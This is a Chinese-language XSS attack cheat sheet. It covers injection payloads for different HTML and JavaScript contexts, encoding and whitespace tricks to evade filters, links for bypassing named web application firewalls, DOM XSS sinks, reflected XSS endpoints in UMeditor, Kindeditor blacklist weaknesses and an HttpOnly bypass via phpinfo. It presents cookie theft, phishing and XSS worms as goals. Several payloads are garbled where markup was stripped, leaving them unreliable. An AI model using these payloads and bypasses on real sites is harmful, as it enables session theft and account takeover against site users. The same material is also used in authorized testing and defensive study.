一、 xss可以做哪些事情? 在没有限制的情况下,xss=html+JavaScript。凡是js+html能做的,xss都能做。
弹窗吓唬人,也是最常用的测试手段 有时候不能弹窗,也可以变相用其他简单dom证明。 网页跳转,等同于任意url跳转 引入外部js,引入外部js是图方便或者有长度限制,是手段而不是目的。有时候因此需要短域名。 盗取cookie,最常用手段,注意URL中+变成%2B 盗取其他信息,由于会访问一次xss平台服务器(攻击者服务器),所以可以顺便收集ip,user-agent,referer这些信息。 flash钓鱼,结合弹窗和url跳转进行钓鱼 用xss触发CSRF,论坛中可用来制作XSS蠕虫
GET POST JSON/POST
二、 不同位置的XSS利用方式 标签外 name= 标签内 name=”> name=1″ id=javascript:alert(1) autofocus onfocus=location=this.id xx href中 name=javascript:alert(1) CRLF name=%0d%0a%0d%0a js中 name= name=’;alert(1);// name=’;alert(1);’ name=’-alert(1)-‘ name=’;};alert(1);function a(){a=’
xml
svg
三、 XSS绕过相关
img标签,隐藏未加载图标

无法用圆括号
单引号,双引号,反引号互相替换
![]()
http协议省略
前后闭合
">
空格填充
AAsrcAAonerrorBB=BBalertCC(1)DD
A位置可填充/,/123/,%09,%0A,%0C,%0D,%20
B位置可填充%09,%0A,%0C,%0D,%20
C位置可填充%0B,如果加双引号,则可以填充/**/,%09,%0A,%0C,%0D,%20
D位置可填充%09,%0A,%0C,%0D,%20,//,>
函数配合拼接
赋值和拼接
![]()
创建匿名函数
加密函数(parseInt和toString互逆)
编码
eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59)) eval('x61x6cx65x72x74x28x27x78x73x73x27x29') eval(atob('YWxlcnQoMSk=')) eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))
过滤eval
伪协议 更换标签和事件,事件见https://www.runoob.com/jsref/dom-obj-event.html 仅限火狐IE的XSS 四、 绕过waf拦截 安全狗 http://www.safedog.cn/index/privateSolutionIndex.html?tab=2 http://www.safedog.cn/index/privateSolutionIndex.html?tab=2 D盾 http://www.d99net.net/News.asp?id=126 http://www.d99net.net/News.asp?id=126 云锁+奇安信waf http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1 http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1 五、 domxss 任意url跳转 var hash = location.hash;// document.location.href.split("?url=")[1]; if(hash){ var url = hash.substring(1); location.href = url; } http://luoke.cn:81/1.html#http://www.baidu.com
http://luoke.cn:81/1.html#javascript:alert(1) document.write var hash = location.hash.slice(1); document.write(hash); http://luoke.cn:81/1.html# innerHTML 当有变量带入eval,setInterval,setTimeout,document.referrer,window.name中,都值得关注。 六、 富文本编辑器的XSS 富文本编辑器允许html标签,允许以html模式编辑,往往过滤了绝大部分有害标签
Ueditor
白名单过滤,只允许部分标签和部分元素
http://ueditor.baidu.com/ueditor/ueditor.config.js 但是可以用超链接带入javascript xss UMeditor
和Ueditor差不多,但是超链接会强制以http开头。
查看源代码,发现jsp版本有反射XSS /umeditor/jsp/getContent.jsp?myEditor= /umeditor/jsp/imageUp.jsp?callback= Kindeditor
Kindeditor采用黑名单正则过滤,效率不高,很容易被绕过
http://kindeditor.net/ke4/kindeditor-all.js?t=20160331.js 最简单的是以绕过 七、 phpinfo绕过http-only xss常用于打cookie,因此http-only防止cookie被js获取就成了防护xss的手段之一。
setcookie第七个参数可以设置httponly